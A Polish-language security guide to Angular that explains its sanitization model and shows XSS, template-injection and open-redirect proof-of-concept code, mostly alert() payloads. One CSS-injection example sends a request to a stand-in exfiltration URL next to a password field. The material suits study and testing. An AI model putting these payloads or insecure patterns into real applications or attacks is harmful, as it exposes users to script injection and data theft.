Angular
Reading time: 17 minutes
Lista kontrolna
Lista kontrolna stąd.
- Angular jest uważany za framework po stronie klienta i nie oczekuje się, że zapewni ochronę po stronie serwera
- Sourcemap dla skryptów jest wyłączony w konfiguracji projektu
- Niezaufane dane wejściowe użytkownika są zawsze interpolowane lub oczyszczane przed użyciem w szablonach
- Użytkownik nie ma kontroli nad szablonami po stronie serwera lub klienta
- Niezaufane dane wejściowe użytkownika są oczyszczane przy użyciu odpowiedniego kontekstu bezpieczeństwa przed zaufaniem aplikacji
-
Metody
BypassSecurity*
nie są używane z niezaufanymi danymi wejściowymi -
Niezaufane dane wejściowe użytkownika nie są przekazywane do klas Angulara, takich jak
ElementRef
,Renderer2
iDocument
, ani do innych miejsc docelowych JQuery/DOM
Czym jest Angular
Angular to potężny i otwarty framework front-endowy utrzymywany przez Google. Używa TypeScript do poprawy czytelności kodu i debugowania. Dzięki silnym mechanizmom bezpieczeństwa, Angular zapobiega powszechnym lukom po stronie klienta, takim jak XSS i otwarte przekierowania. Może być również używany po stronie serwera, co sprawia, że rozważania dotyczące bezpieczeństwa są ważne z obu stron.
Architektura frameworka
Aby lepiej zrozumieć podstawy Angulara, przejdźmy przez jego podstawowe koncepcje.
Typowy projekt Angulara wygląda zazwyczaj tak:
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Zgodnie z dokumentacją, każda aplikacja Angular ma co najmniej jeden komponent, komponent główny (AppComponent
), który łączy hierarchię komponentów z DOM. Każdy komponent definiuje klasę, która zawiera dane i logikę aplikacji, i jest powiązany z szablonem HTML, który definiuje widok do wyświetlenia w docelowym środowisku. Dekorator @Component()
identyfikuje klasę bezpośrednio poniżej jako komponent i dostarcza szablon oraz powiązane metadane specyficzne dla komponentu. AppComponent
jest zdefiniowany w pliku app.component.ts
.
NgModule Angulara deklaruje kontekst kompilacji dla zestawu komponentów, który jest dedykowany dla domeny aplikacji, przepływu pracy lub ściśle powiązanego zestawu możliwości. Każda aplikacja Angular ma moduł główny, konwencjonalnie nazywany AppModule
, który zapewnia mechanizm uruchamiający aplikację. Aplikacja zazwyczaj zawiera wiele modułów funkcjonalnych. AppModule
jest zdefiniowany w pliku app.module.ts
.
NgModule Router
Angulara zapewnia usługę, która pozwala zdefiniować ścieżkę nawigacji pomiędzy różnymi stanami aplikacji i hierarchiami widoków w Twojej aplikacji. RouterModule
jest zdefiniowany w pliku app-routing.module.ts
.
Dla danych lub logiki, które nie są powiązane z konkretnym widokiem i które chcesz udostępnić pomiędzy komponentami, tworzysz klasę usługi. Definicja klasy usługi jest bezpośrednio poprzedzona dekoratorem @Injectable()
. Dekorator ten dostarcza metadane, które pozwalają innym dostawcom być wstrzykiwanym jako zależności do Twojej klasy. Wstrzykiwanie zależności (DI) pozwala utrzymać klasy komponentów szczupłe i wydajne. Nie pobierają one danych z serwera, nie walidują danych wejściowych użytkownika ani nie logują bezpośrednio do konsoli; delegują takie zadania do usług.
Konfiguracja sourcemap
Framework Angular tłumaczy pliki TypeScript na kod JavaScript, stosując opcje tsconfig.json
, a następnie buduje projekt z konfiguracją angular.json
. Patrząc na plik angular.json
, zauważyliśmy opcję włączenia lub wyłączenia sourcemap. Zgodnie z dokumentacją Angulara, domyślna konfiguracja ma włączony plik sourcemap dla skryptów i nie jest domyślnie ukryta:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
Ogólnie rzecz biorąc, pliki sourcemap są wykorzystywane do celów debugowania, ponieważ mapują pliki generowane do ich oryginalnych plików. Dlatego nie zaleca się ich używania w środowisku produkcyjnym. Jeśli sourcemaps są włączone, poprawia to czytelność i pomaga w analizie plików, odtwarzając oryginalny stan projektu Angular. Jednak jeśli są wyłączone, recenzent może nadal ręcznie analizować skompilowany plik JavaScript, wyszukując wzorce antybezpieczeństwa.
Ponadto, skompilowany plik JavaScript z projektem Angular można znaleźć w narzędziach dewelopera przeglądarki → Źródła (lub Debugger i Źródła) → [id].main.js. W zależności od włączonych opcji, plik ten może zawierać następujący wiersz na końcu //# sourceMappingURL=[id].main.js.map
lub może go nie mieć, jeśli opcja hidden jest ustawiona na true. Niemniej jednak, jeśli sourcemap jest wyłączony dla skryptów, testowanie staje się bardziej skomplikowane i nie możemy uzyskać pliku. Dodatkowo, sourcemap można włączyć podczas budowy projektu, na przykład ng build --source-map
.
Wiązanie danych
Wiązanie odnosi się do procesu komunikacji między komponentem a odpowiadającym mu widokiem. Jest wykorzystywane do przesyłania danych do i z frameworka Angular. Dane mogą być przekazywane na różne sposoby, takie jak przez zdarzenia, interpolację, właściwości lub przez mechanizm wiązania dwukierunkowego. Ponadto dane mogą być również dzielone między powiązanymi komponentami (relacja rodzic-dziecko) oraz między dwoma niezwiązanymi komponentami za pomocą funkcji Service.
Możemy klasyfikować wiązanie według przepływu danych:
- Źródło danych do celu widoku (obejmuje interpolację, właściwości, atrybuty, klasy i style); można zastosować, używając
[]
lub{{}}
w szablonie; - Cel widoku do źródła danych (obejmuje zdarzenia); można zastosować, używając
()
w szablonie; - Dwukierunkowe; można zastosować, używając
[()]
w szablonie.
Wiązanie może być wywoływane na właściwościach, zdarzeniach i atrybutach, a także na dowolnym publicznym członie dyrektywy źródłowej:
TYP | CEL | PRZYKŁADY |
---|---|---|
Właściwość | Właściwość elementu, Właściwość komponentu, Właściwość dyrektywy | <img [alt]="hero.name" [src]="heroImageUrl"> |
Zdarzenie | Zdarzenie elementu, Zdarzenie komponentu, Zdarzenie dyrektywy | <button type="button" (click)="onSave()">Zapisz |
Dwukierunkowe | Zdarzenie i właściwość | <input [(ngModel)]="name"> |
Atrybut | Atrybut (wyjątek) | <button type="button" [attr.aria-label]="help">pomoc |
Klasa | właściwość klasy | <div [class.special]="isSpecial">Specjalne |
Styl | właściwość stylu | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
Model bezpieczeństwa Angular
Projekt Angular obejmuje kodowanie lub sanitację wszystkich danych domyślnie, co sprawia, że coraz trudniej jest odkrywać i wykorzystywać luki XSS w projektach Angular. Istnieją dwa odrębne scenariusze dotyczące obsługi danych:
- Interpolacja lub
{{user_input}}
- wykonuje kodowanie wrażliwe na kontekst i interpretuje dane wejściowe użytkownika jako tekst;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
Wynik: <script>alert(1)</script><h1>test</h1>
2. Wiązanie do właściwości, atrybutów, klas i stylów lub [attribute]="user_input"
- wykonuje sanitację na podstawie podanego kontekstu bezpieczeństwa.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
Wynik: <div><h1>test</h1></div>
Istnieje 6 typów SecurityContext
:
None
;HTML
jest używane, gdy interpretujemy wartość jako HTML;STYLE
jest używane, gdy wiążemy CSS do właściwościstyle
;URL
jest używane dla właściwości URL, takich jak<a href>
;SCRIPT
jest używane dla kodu JavaScript;RESOURCE_URL
jako URL, który jest ładowany i wykonywany jako kod, na przykład w<script src>
.
Luki
Ominięcie metod zaufania bezpieczeństwa
Angular wprowadza listę metod do ominięcia domyślnego procesu sanitacji i wskazania, że wartość może być używana bezpiecznie w określonym kontekście, jak w pięciu poniższych przykładach:
bypassSecurityTrustUrl
jest używane do wskazania, że podana wartość jest bezpiecznym URL stylu:
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Kliknij mnie</a>
//wynik
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Kliknij mnie</a>
bypassSecurityTrustResourceUrl
jest używane do wskazania, że podana wartość jest bezpiecznym URL zasobu:
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//wynik
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
jest używane do wskazania, że podana wartość jest bezpiecznym HTML. Należy zauważyć, że wstawianie elementówscript
do drzewa DOM w ten sposób nie spowoduje ich wykonania, ponieważ sposób, w jaki te elementy są dodawane do drzewa DOM.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//wynik
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
jest używane do wskazania, że podana wartość jest bezpiecznym JavaScript. Jednakże, zauważyliśmy, że jego zachowanie jest nieprzewidywalne, ponieważ nie mogliśmy wykonać kodu JS w szablonach za pomocą tej metody.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//wynik
-
bypassSecurityTrustStyle
jest używane do wskazania, że podana wartość jest bezpiecznym CSS. Poniższy przykład ilustruje wstrzykiwanie CSS:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//wynik
Request URL: GET example.com/exfil/a
Angular zapewnia metodę sanitize
, aby oczyścić dane przed ich wyświetleniem w widokach. Metoda ta wykorzystuje podany kontekst bezpieczeństwa i odpowiednio oczyszcza dane wejściowe. Ważne jest jednak, aby używać odpowiedniego kontekstu bezpieczeństwa dla konkretnych danych i kontekstu. Na przykład, zastosowanie sanitizera z SecurityContext.URL
na treści HTML nie zapewnia ochrony przed niebezpiecznymi wartościami HTML. W takich scenariuszach niewłaściwe użycie kontekstu bezpieczeństwa może prowadzić do luk XSS.
Wstrzykiwanie HTML
Ta luka występuje, gdy dane wejściowe użytkownika są powiązane z dowolną z trzech właściwości: innerHTML
, outerHTML
lub iframe
srcdoc
. Podczas wiązania do tych atrybutów HTML jest interpretowane tak, jak jest, a dane wejściowe są oczyszczane przy użyciu SecurityContext.HTML
. W związku z tym wstrzykiwanie HTML jest możliwe, ale cross-site scripting (XSS) nie jest.
Przykład użycia innerHTML
:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
Wynik to <div><h1>test</h1></div>
.
Wstrzykiwanie szablonów
Renderowanie po stronie klienta (CSR)
Angular wykorzystuje szablony do dynamicznego konstruowania stron. Podejście to polega na umieszczaniu wyrażeń szablonów, które Angular ma ocenić, w podwójnych klamrach ({{}}
). W ten sposób framework oferuje dodatkową funkcjonalność. Na przykład, szablon taki jak {{1+1}}
wyświetli się jako 2.
Zazwyczaj Angular ucieka się do zabezpieczeń wprowadzonych przez użytkownika, które mogą być mylone z wyrażeniami szablonów (np. znaki takie jak `< > ' " ``). Oznacza to, że wymagane są dodatkowe kroki, aby obejść to ograniczenie, takie jak wykorzystanie funkcji generujących obiekty string JavaScript, aby uniknąć używania zablokowanych znaków. Jednak aby to osiągnąć, musimy wziąć pod uwagę kontekst Angulara, jego właściwości i zmienne. Dlatego atak wstrzykiwania szablonów może wyglądać następująco:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
Jak pokazano powyżej: constructor
odnosi się do zakresu właściwości obiektu constructor
, co umożliwia nam wywołanie konstruktora String i wykonanie dowolnego kodu.
Renderowanie po stronie serwera (SSR)
W przeciwieństwie do CSR, które odbywa się w DOM przeglądarki, Angular Universal odpowiada za SSR plików szablonów. Pliki te są następnie dostarczane do użytkownika. Mimo tej różnicy, Angular Universal stosuje te same mechanizmy sanitizacji używane w CSR, aby zwiększyć bezpieczeństwo SSR. Wrażliwość na wstrzykiwanie szablonów w SSR można wykryć w ten sam sposób, co w CSR, ponieważ używany język szablonów jest taki sam.
Oczywiście istnieje również możliwość wprowadzenia nowych wrażliwości na wstrzykiwanie szablonów podczas korzystania z zewnętrznych silników szablonów, takich jak Pug i Handlebars.
XSS
Interfejsy DOM
Jak wcześniej wspomniano, możemy bezpośrednio uzyskać dostęp do DOM za pomocą interfejsu Document. Jeśli dane wejściowe użytkownika nie są wcześniej walidowane, może to prowadzić do wrażliwości na skrypty między witrynami (XSS).
W przykładach poniżej użyliśmy metod document.write()
i document.createElement()
:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Klasy Angular
Istnieją pewne klasy, które można wykorzystać do pracy z elementami DOM w Angular: ElementRef
, Renderer2
, Location
i Document
. Szczegółowy opis ostatnich dwóch klas znajduje się w sekcji Open redirects. Główna różnica między pierwszymi dwoma polega na tym, że API Renderer2
zapewnia warstwę abstrakcji między elementem DOM a kodem komponentu, podczas gdy ElementRef
po prostu przechowuje odniesienie do elementu. Dlatego, zgodnie z dokumentacją Angular, API ElementRef
powinno być używane tylko jako ostateczność, gdy potrzebny jest bezpośredni dostęp do DOM.
ElementRef
zawiera właściwośćnativeElement
, która może być używana do manipulacji elementami DOM. Jednak niewłaściwe użycienativeElement
może prowadzić do podatności na wstrzyknięcie XSS, jak pokazano poniżej:
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- Mimo że
Renderer2
zapewnia API, które można bezpiecznie używać, nawet gdy bezpośredni dostęp do elementów natywnych nie jest obsługiwany, nadal ma pewne luki w zabezpieczeniach. ZRenderer2
możliwe jest ustawienie atrybutów na elemencie HTML za pomocą metodysetAttribute()
, która nie ma mechanizmów zapobiegających XSS.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- Aby ustawić właściwość elementu DOM, można użyć metody
Renderer2.setProperty()
i wywołać atak XSS:
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
Podczas naszych badań zbadaliśmy również zachowanie innych metod Renderer2
, takich jak setStyle()
, createComment()
i setValue()
, w odniesieniu do XSS i wstrzyknięć CSS. Jednak nie udało nam się znaleźć żadnych ważnych wektorów ataku dla tych metod z powodu ich ograniczeń funkcjonalnych.
jQuery
jQuery to szybka, mała i bogata w funkcje biblioteka JavaScript, która może być używana w projekcie Angular do pomocy w manipulacji obiektami DOM HTML. Jednak, jak wiadomo, metody tej biblioteki mogą być wykorzystywane do osiągnięcia podatności XSS. Aby omówić, jak niektóre podatne metody jQuery mogą być wykorzystywane w projektach Angular, dodaliśmy tę podsekcję.
- Metoda
html()
pobiera zawartość HTML pierwszego elementu w zestawie dopasowanych elementów lub ustawia zawartość HTML każdego dopasowanego elementu. Jednak z założenia, każdy konstruktor lub metoda jQuery, która akceptuje ciąg HTML, może potencjalnie wykonać kod. Może to nastąpić poprzez wstrzyknięcie tagów<script>
lub użycie atrybutów HTML, które wykonują kod, jak pokazano w przykładzie.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
- Metoda
jQuery.parseHTML()
używa natywnych metod do konwersji ciągu na zestaw węzłów DOM, które mogą być następnie wstawione do dokumentu.
jQuery.parseHTML(data [, context ] [, keepScripts ])
Jak wspomniano wcześniej, większość interfejsów API jQuery, które akceptują ciągi HTML, uruchomi skrypty zawarte w HTML. Metoda jQuery.parseHTML()
nie uruchamia skryptów w analizowanym HTML, chyba że keepScripts
jest wyraźnie ustawione na true
. Jednak w większości środowisk nadal możliwe jest pośrednie wykonanie skryptów; na przykład za pomocą atrybutu <img onerror>
.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
Interfejsy DOM
Zgodnie z dokumentacją W3C obiekty window.location
i document.location
są traktowane jako aliasy w nowoczesnych przeglądarkach. Dlatego mają podobną implementację niektórych metod i właściwości, co może powodować otwarte przekierowanie i XSS DOM przy atakach z użyciem schematu javascript://
, jak wspomniano poniżej.
window.location.href
(idocument.location.href
)
Kanoniczny sposób uzyskania bieżącego obiektu lokalizacji DOM to użycie window.location
. Może być również używane do przekierowania przeglądarki na nową stronę. W rezultacie kontrola nad tym obiektem pozwala nam wykorzystać podatność na otwarte przekierowanie.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
Proces eksploatacji jest identyczny dla następujących scenariuszy.
window.location.assign()
(idocument.location.assign()
)
Ta metoda powoduje, że okno ładuje i wyświetla dokument pod podanym adresem URL. Jeśli mamy kontrolę nad tą metodą, może to być miejsce dla ataku otwartego przekierowania.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()
(idocument.location.replace()
)
Ta metoda zastępuje bieżący zasób tym podanym adresem URL.
Różni się to od metody assign()
, ponieważ po użyciu window.location.replace()
, bieżąca strona nie będzie zapisana w historii sesji. Jednak również możliwe jest wykorzystanie podatności na otwarte przekierowanie, gdy mamy kontrolę nad tą metodą.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
Metoda window.open()
przyjmuje adres URL i ładuje zasób, który identyfikuje, w nowej lub istniejącej karcie lub oknie. Kontrola nad tą metodą może również stanowić okazję do wywołania podatności XSS lub otwartego przekierowania.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Klasy Angular
- Zgodnie z dokumentacją Angular, Angular
Document
jest tym samym, co dokument DOM, co oznacza, że możliwe jest użycie wspólnych wektorów dla dokumentu DOM do wykorzystania podatności po stronie klienta w Angular. Właściwości i metodyDocument.location
mogą być miejscami dla udanych ataków otwartego przekierowania, jak pokazano w przykładzie:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- Podczas fazy badawczej zbadaliśmy również klasę Angular
Location
pod kątem podatności na otwarte przekierowania, ale nie znaleziono żadnych ważnych wektorów.Location
to usługa Angular, którą aplikacje mogą wykorzystać do interakcji z bieżącym adresem URL przeglądarki. Usługa ta ma kilka metod do manipulacji danym adresem URL -go()
,replaceState()
iprepareExternalUrl()
. Jednak nie możemy ich użyć do przekierowania do zewnętrznej domeny. Na przykład:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
Wynik: http://localhost:4200/http://google.com/about
- Klasa Angular
Router
jest głównie używana do nawigacji w obrębie tej samej domeny i nie wprowadza żadnych dodatkowych podatności do aplikacji:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
Wynik: http://localhost:4200/https:
Następujące metody również nawigują w obrębie zakresu domeny:
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
Odniesienia
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router